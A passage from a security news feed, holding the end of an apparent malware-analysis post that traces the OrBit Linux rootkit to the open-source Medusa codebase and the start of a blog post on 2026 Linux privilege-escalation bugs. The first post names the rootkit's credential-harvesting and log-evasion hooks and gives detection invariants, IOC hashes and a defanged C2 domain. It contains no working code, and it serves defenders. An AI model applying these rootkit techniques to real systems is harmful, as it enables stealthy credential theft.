ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;Per-Module Source Mapping&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;span&gt;Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:&lt;/span&gt;&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;Medusa source&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Role&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Corresponding OrBit artifact&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;src/rkld.c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Main rootkit (libc hooks, PAM harvest, file/proc/net hiding)&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;All Lineage A / Lineage B rootkit &lt;/span&gt;&lt;span&gt;.&lt;span&gt;so&lt;/span&gt;&lt;/span&gt;&lt;span&gt; samples&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;src/rkload.c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Installer / SEAELF loader (patches &lt;/span&gt;&lt;span&gt;ld.so&lt;/span&gt;&lt;span&gt;, &lt;span&gt;writes &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/etc/ld.so.preload&lt;/span&gt;&lt;span&gt;, drops inner rootkit)&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;26082cd3&lt;/span&gt;&lt;span&gt; and related loader/installer samples&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;src/rknet.c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Advanced hooks: &lt;/span&gt;&lt;span&gt;&lt;span&gt;xread&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;audit_log_acct_message&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;audit_log_user_message&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;pam_sm_authenticate&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;pcap_loop&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt; port-hiding&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Not compiled in the default &lt;/span&gt;&lt;span&gt;Makefile&lt;/span&gt;&lt;span&gt;. Linked in only in Lineage A “full” builds.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;span&gt;The Medusa default &lt;/span&gt;&lt;span&gt;Makefile&lt;/span&gt;&lt;span&gt; compiles only &lt;/span&gt;&lt;span&gt;src/rkld.c&lt;/span&gt;&lt;span&gt;. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s &lt;/span&gt;&lt;span&gt;src/rknet.c&lt;/span&gt;&lt;span&gt; on day one of the public release. The operators’ work was to modify the Makefile to link &lt;/span&gt;&lt;span&gt;rknet.c&lt;/span&gt;&lt;span&gt; into their build, not to author those functions.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;Timeline Anomaly&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;span&gt;Our analysis shows that an initial OrBit sample (&lt;/span&gt;&lt;span&gt;40b5127c&lt;/span&gt;&lt;span&gt;) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;Implications&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;span&gt;The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L118&quot;&gt;&lt;span&gt;xread&lt;/span&gt;&lt;span&gt; read-hook bypass&lt;/span&gt;&lt;/a&gt;&lt;span&gt; we first flagged as a 2023 compatibility shim is a function in &lt;/span&gt;&lt;span&gt;src/rknet.c&lt;/span&gt;&lt;span&gt;. The auditd evasion pair we called out as a 2024 addition, &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L192&quot;&gt;&lt;span&gt;audit_log_acct_message&lt;/span&gt;&lt;/a&gt;&lt;span&gt; and &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L235&quot;&gt;&lt;span&gt;audit_log_user_message&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, sits in the same file. The PAM stack we noted as gradually expanding across versions, including &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L305&quot;&gt;&lt;span&gt;pam_authenticate&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L350&quot;&gt;&lt;span&gt;pam_acct_mgmt&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L365&quot;&gt;&lt;span&gt;pam_open_session&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, and the 2025 service-side impersonation hook &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L381&quot;&gt;&lt;span&gt;pam_sm_authenticate&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, is all present in the same &lt;/span&gt;&lt;span&gt;rknet.c&lt;/span&gt;&lt;span&gt;, as is the &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L491&quot;&gt;&lt;span&gt;pcap_loop&lt;/span&gt;&lt;/a&gt;&lt;span&gt; packet hook that appears in full Lineage A builds. None of these files is linked in by the &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/Makefile#L30&quot;&gt;&lt;span&gt;default Makefile recipe&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, which compiles only &lt;/span&gt;&lt;span&gt;src/rkld.c&lt;/span&gt;&lt;span&gt;. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include &lt;/span&gt;&lt;span&gt;rknet.c&lt;/span&gt;&lt;span&gt;, not to new code being written. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out. &lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;The string table produced by Medusa’s &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/config.c#L180&quot;&gt;&lt;span&gt;xor_dump()&lt;/span&gt;&lt;span&gt; routine&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen. &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;The filesystem skeleton that the loader’s &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rkload.c#L67&quot;&gt;&lt;span&gt;build_root()&lt;/span&gt;&lt;/a&gt;&lt;span&gt; writes into its install directory. Operators vary only the parent directory (&lt;/span&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;/lib/locate/&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;/lib/libntpVnQE6mk/&lt;/span&gt;&lt;span&gt;), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the &lt;/span&gt;&lt;span&gt;setxattr&lt;/span&gt;&lt;span&gt; call pattern directly. &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;The nested-ELF structure produced by the &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/Makefile#L31&quot;&gt;&lt;span&gt;xxd – +i build/rkld.so &amp;gt; build/rkld.h&lt;/span&gt;&lt;/a&gt;&lt;span&gt; step in the Makefile, which bakes a full secondary ELF into the loader’s &lt;/span&gt;&lt;span&gt;.rodata&lt;/span&gt;&lt;span&gt;. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two &lt;/span&gt;&lt;span&gt;xxd&lt;/span&gt;&lt;span&gt;-generated symbols (&lt;/span&gt;&lt;span&gt;rkld_so&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;rkld_so_len&lt;/span&gt;&lt;span&gt; ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use &lt;/span&gt;&lt;span&gt;xxd -i&lt;/span&gt;&lt;span&gt; or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names &lt;/span&gt;&lt;span&gt;rkld_so&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;rk +ld_so_len&lt;/span&gt;&lt;span&gt; in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;span&gt;Conclusion&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span&gt;The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s &lt;/span&gt;&lt;span&gt;src/rknet.c&lt;/span&gt;&lt;span&gt; advanced hook set, and the temporary Lineage B (lite build), which ships only the &lt;/span&gt;&lt;span&gt;src/rkld.c&lt;/span&gt;&lt;span&gt; core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the &lt;/span&gt;&lt;span&gt;pam_sm_authenticate&lt;/span&gt;&lt;span&gt; hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;IOC Table&lt;/strong&gt;&lt;/h3&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;SHA256&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Year&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Role&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Lineage&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2022&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;ec7462c3f4a87430eb19d16cfd775c173f4ba60d2f43697743db991c3d1c3067&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2022&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2022&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;d419a9b17f7b4c23fd4e80a9bce130d2a13c307fccc4bfbc4d49f6b770d06d3b&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2023&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;296d28eb7b66aa2cbea7d9c2e7dc1ad6ce6f97d44d34139760c38817aec083e7&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2023&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;3ba6c174a72e4bf5a10c8aaadab2c4b98702ee2308438e94a5512b69df998d5a&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2023&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;B&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;4203271c1a0c24443b7e85cbf066c9928fcc69934772a431d779017fb85c9d73&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2023&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;B&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;eea274eddd712fe0b4434dbef6a2a92810cb13b8be3deca0571410ee78d37c9f&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;a61386384173b352e3bd90dcef4c7268a73cd29f6ae343c15b92070b1354a349&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;a34299a16cf30dac1096c1d24188c72eed1f9d320b1585fe0de4692472e3d4dc&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;B&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;b1dd18a6a4b0c6e2589312bbec55b392a20a95824ffe630a73c94d24504c553d&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;B&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;989f7eb4f805591839bcbc321dd44418eb5694d1342e37b7f24126817f10e37e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload (extracted)&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;B&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;8ea420d9aa341ba23cdea0ac03951bce866c933ba297268bc7db8a01ce8e9b8e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload (static ELF)&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;26082cd36fdaf76ec0d74b7fbf455418c49fbab64b20892a873c415c3bb60675&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;loader&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;48a68d0555f850c36f7d338b1a42ed1a661043cacf2ba2a4b0a347fac3cb3ee6&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;fc2e0cb627a00d0e4509bd319271721ea74fb11150847213abe9e8fea060cc8a&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2024&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;8e83cbb2ed12faba9b452ea41291bcebdce08162f64ac9a5f82592df62f47613&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;2b2eeb2271c19e2097a0ef0d90b2b615c20f726590bbfee139403db1dced5b0a&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;84828f31d741f92ce4bca98cfc2148ff8cff6663e2908a025b1386dd4953ffef&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload (truncated)&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;090b15fd8912cab340b22e715d44db079ec641db5e2f92916aa1f2bc9236e03e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;64a3ebd3ad3927fc783f6ac020d5a6192e9778fb16b51cceba06e4ee5416adff&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;b85ed15756568b85148c1d432a8920f81e4b21f2bc38f0cf51d06ced619e0e77&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;d3d204c19d93e5e37697c7f80dd0de9f76a2fb4517ced9cafd7d7d46a6e285ba&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;73b95b7d1006caf8d3477e4a9a0994eaa469e98b70b8c198a82c4a12c91ad49a&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2025&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;infector&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;04c06be0f65d3ead95f3d3dd26fe150270ac8b58890e35515f9317fc7c7723c9&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;d7b487d2e840c4546661f497af0195614fc0906c03d187dc39815c811ea5ec3f&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2020&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;RHOMBUS dropper&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;–&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;The post &lt;a href=&quot;https://intezer.com/blog/orbit-returns/&quot;&gt;OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments&lt;/a&gt; appeared first on &lt;a href=&quot;https://intezer.com&quot;&gt;Intezer&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Linux Compromises, Broken Embargoes, and the Shrinking Patch Window — AskBaize</title>
<link>https://www.askbaize.com/blog/linux-compromises-broken-embargoes-and-the-shrinking-patch-window</link>
<enclosure type="image/jpeg" length="0" url="https://static1.squarespace.com/static/692a1c2a38ab276c864d2fae/t/6a0532413bb44f6c62e2f4e3/1778725441441/Screenshot+2026-05-13+at+19.19.44.png?format=1500w"></enclosure>
<guid isPermaLink="false">vgXy-FNj2QAjrBfoHxOhbZpmPG9qvT4vjAIBbQ==</guid>
<pubDate>Thu, 14 May 2026 18:05:10 +0000</pubDate>
<description>Copy Fail, Dirty Frag, CrackedArmor, io_wring ZCRX freewrite OOB, what are these? Read the technical explanations (supplemented with plain English ELI5s). Is the disclosure process broken? Why should people care?How can this be exploited?What can defenders do immediately and what are the next steps?</description>
<content:encoded>&lt;p&gt;&lt;em&gt;Written by&lt;/em&gt; &lt;a href=&quot;https://www.linkedin.com/in/ti-zhang/&quot;&gt;&lt;em&gt;Ti Zhang&lt;/em&gt;&lt;/a&gt; &lt;em&gt;20260503&lt;/em&gt;&lt;/p&gt;&lt;p&gt;May 2026 brought three serious Linux local privilege escalation issues in two weeks. They differ in subsystem and exploit requirements, but share similar patterns. This article covers what happened, why the disclosure model broke down, what it means for production environments, and what defenders can do now.&lt;/p&gt;&lt;p&gt;Explanations are written for technical audiences with plain english sections to supplement community understanding.&lt;/p&gt;&lt;p&gt;&lt;em&gt;note: not covered - Fragnesia (CVE-2026-46300, ID assigned at the moment but&lt;/em&gt; &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-46300%5D&quot;&gt;&lt;em&gt;not yet populated on NVD&lt;/em&gt;&lt;/a&gt;&lt;em&gt;), which dropped at the time of publishing this article, and is the same bug class as Dirty Frag. resource links attached at the end&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;What Happened&lt;/h2&gt;&lt;h3&gt;Copy Fail, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-31431&quot;&gt;CVE-2026-31431&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Copy Fail Plain English&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;A Linux kernel memory-management bug involving copy-on-write (COW) behaviour&lt;/li&gt;
&lt;li&gt;Programs store memory in pages (a contiguous block of memory). Although each program is guaranteed its own private pages to save space, the OS will not make a copy if more than one program READS the same page. &lt;/li&gt;
&lt;li&gt;As soon as a second program tries to write or change the page, however, the kernel is supposed to make a copy(this is the copy-on-write), and Copy Fail broke that guarantee under certain conditions. Data that should have stayed isolated could be modified unexpectedly&lt;/li&gt;
&lt;li&gt;Here&amp;#39;s an analogy to help understand: imagine multiple companies sharing a single, strictly read-only source-of-truth rulebook to save space. A worker needs a page translated into secret code. Normally, the system makes a private photocopy first. But due to a flawed efficiency update, the system decides to save paper by writing the translation directly over the original text in the master rulebook. By skipping the copy step to save resources, the system accidentally lets one worker permanently overwrite the rules for everyone, completely breaking memory isolation.&lt;/li&gt;
&lt;li&gt;Why is this scary?&lt;ul&gt;
&lt;li&gt;Isolation failures inside the kernel are dangerous because many security boundaries depend on them, and bugs in memory ownership logic can become privilege-escalation primitives&lt;/li&gt;
&lt;li&gt;Exploitation was more realistic than many race-condition bugs because it was logic-related rather than timing-sensitive&lt;/li&gt;
&lt;li&gt;Attackers really go brrr when they can write where you&amp;#39;re not supposed to write&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;Copy Fail Technical Explanation&lt;/h4&gt;&lt;ul&gt;
